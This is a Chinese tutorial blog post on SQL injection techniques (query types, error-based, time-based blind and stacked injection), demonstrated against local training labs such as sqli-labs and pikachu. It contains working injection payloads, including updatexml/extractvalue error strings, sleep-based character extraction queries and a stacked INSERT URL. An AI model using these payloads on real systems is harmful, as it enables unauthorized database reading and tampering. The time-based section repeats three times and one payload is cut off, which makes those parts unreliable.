SQL注入详解(第四章查询方式及报错)

SQL注入第四章查询方式及报错

SQL注入之查询方式

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显得原因可能时SQL语句查询方式问题导致,这个时候我们需要用到报错或者盲注进行后续操作,同时在注入的过程中,提前了解其中SQL语句可以更好的选择对应的注入语句。

select 查询数据

例如:在网站应用中进行数据显示查询操作

select * from user where id=$id

delete 删除数据

例如:后台管理里面删除文章删除用户等操作

delete from user where id=$id

insert 插入数据

例如:在网站应用中进行用户注册添加操作

inser into user (id,name,pass) values(1,'zhangsan','1234')

update 更新数据

例如:后台中心数据同步或者缓存操作

update user set pwd='p' where id=1

SQL注入 报错盲注

盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:

1.基于布尔的SQL盲注 - 逻辑判断

regexp like ascii left ord mid

2.基于时间的SQL盲注 - 延时判断

if sleep

3.基于报错的SQL盲注 - 报错回显(强制性报错 )

函数解析:

updatexml():从目标XML中更改包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(XML_document,XPath_String,new_value);

‘or updatexml(1,concat(0x7e,database()),0)or’

extractvalue():从目标XML中返回包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_String (Xpath格式字符串)

extractvalue(XML_document,XPath_String)

’ or extractvalue(1,concat(0x7e,database())) or’

’ union select 1,extractvalue(1,concat(0x7e,(select version())))%23

函数应用:

image.png

image.png

floor()向下取整 floor(10.5) = 10
rand()随机数 0 ~ 1之间
count(*)函数返回表的记录数。
concat函数:将多个字符串连接成一个字符串
group_by 根据by对数据按照哪个字段、进行分组,或者是哪几个字段进行分组(去重)。
会建立一张临时表
注意:多个字段分组要使用某个列的聚合函数 cout sum等

pikachu insert

username=x’ or (select 1 from (select count(*),concat((select))

基于时间的SQL盲注 - 延时注入

知识储备:

sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

if(): i f 是 计算机编程语言一个关键字,分支结构的一种

mid(a,b,c): 从b开始,截取a字符串的c位

substr(a,b,c): 从b开始,截取字符串a的c长度

left(database(),1),database() : left(a,b)从左侧截取a的前b位

length(database())=8 : 判断长度

ord=ascii ascii(x)=100: 判断x的ascii值是否为100

在不使用sleep下查询数据所需要的时间:0.03秒

image.png

使用sleep可以使查询数据休眠指定时间

image.png

if(a,b,c):可以理解在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c

image.png

使用if与sleep结合使用:image.png

达到延时数据显示,从而通过数据显示的时间判断数据对错!

使用靶场less-2来实现延时注入:

ocalhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(database()=%27test%27,0,5))

image.png

可以通过length()来判断数据库的长度

http://localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(length(database())=8,8,0))

image.png

image.png

mid()使用:

image.png

substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

substr()函数使用:

image.png

Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。

image.png

通过以上函数可以来判断数据信息:

http://localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(mid(database(),1,1)=%27t%27,0,5))

image.png

推荐使用ASCII码

1.防止引号 ‘ “ 转义

2.方便以后工具的使用

使用ascii函数()

image.png

结合场景使用:

select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);

select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);

基于时间的SQL盲注 - 延时注入

知识储备:

sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

if(): i f 是 计算机编程语言一个关键字,分支结构的一种

mid(a,b,c): 从b开始,截取a字符串的c位

substr(a,b,c): 从b开始,截取字符串a的c长度

left(database(),1),database() : left(a,b)从左侧截取a的前b位

length(database())=8 : 判断长度

ord=ascii ascii(x)=100: 判断x的ascii值是否为100

在不使用sleep下查询数据所需要的时间:0.03秒

image.png

使用sleep可以使查询数据休眠指定时间

image.png

if(a,b,c):可以理解在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c

image.png

使用if与sleep结合使用:image.png

达到延时数据显示,从而通过数据显示的时间判断数据对错!

使用靶场less-2来实现延时注入:

ocalhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(database()=%27test%27,0,5))

image.png

可以通过length()来判断数据库的长度

http://localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(length(database())=8,8,0))

image.png

image.png

mid()使用:

image.png

substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

substr()函数使用:

image.png

Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。

image.png

通过以上函数可以来判断数据信息:

http://localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(mid(database(),1,1)=%27t%27,0,5))

image.png

推荐使用ASCII码

1.防止引号 ‘ “ 转义

2.方便以后工具的使用

使用ascii函数()

image.png

结合场景使用:

select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);

select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);

基于时间的SQL盲注 - 延时注入

知识储备:

sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

if(): i f 是 计算机编程语言一个关键字,分支结构的一种

mid(a,b,c): 从b开始,截取a字符串的c位

substr(a,b,c): 从b开始,截取字符串a的c长度

left(database(),1),database() : left(a,b)从左侧截取a的前b位

length(database())=8 : 判断长度

ord=ascii ascii(x)=100: 判断x的ascii值是否为100

在不使用sleep下查询数据所需要的时间:0.03秒

image.png

使用sleep可以使查询数据休眠指定时间

image.png

if(a,b,c):可以理解在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c

image.png

使用if与sleep结合使用:image.png

达到延时数据显示,从而通过数据显示的时间判断数据对错!

使用靶场less-2来实现延时注入:

ocalhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(database()=%27test%27,0,5))

image.png

可以通过length()来判断数据库的长度

http://localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(length(database())=8,8,0))

image.png

image.png

mid()使用:

image.png

substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

substr()函数使用:

image.png

Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。

image.png

通过以上函数可以来判断数据信息:

http://localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(mid(database(),1,1)=%27t%27,0,5))

image.png

推荐使用ASCII码

1.防止引号 ‘ “ 转义

2.方便以后工具的使用

使用ascii函数()

image.png

结合场景使用:

select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);

select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);

SQL注入之堆叠注入

在SQL中,分号 ;是用来表示一条sql语句的结束,试想一下我们在 ; 结束一个sql语句后面继续构造下一个语句
会不会一起执行?因此这个想法也就造就了堆叠注入。

image.png

image.png

而union injection(联合注入)也是将两条语句合并在一起
两者之间有什么区别?区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句

Less-38

http://localhost/sqli-labs-master/Less-38/?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2722%27,%27mc%27,%27hello%27)–+

image.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值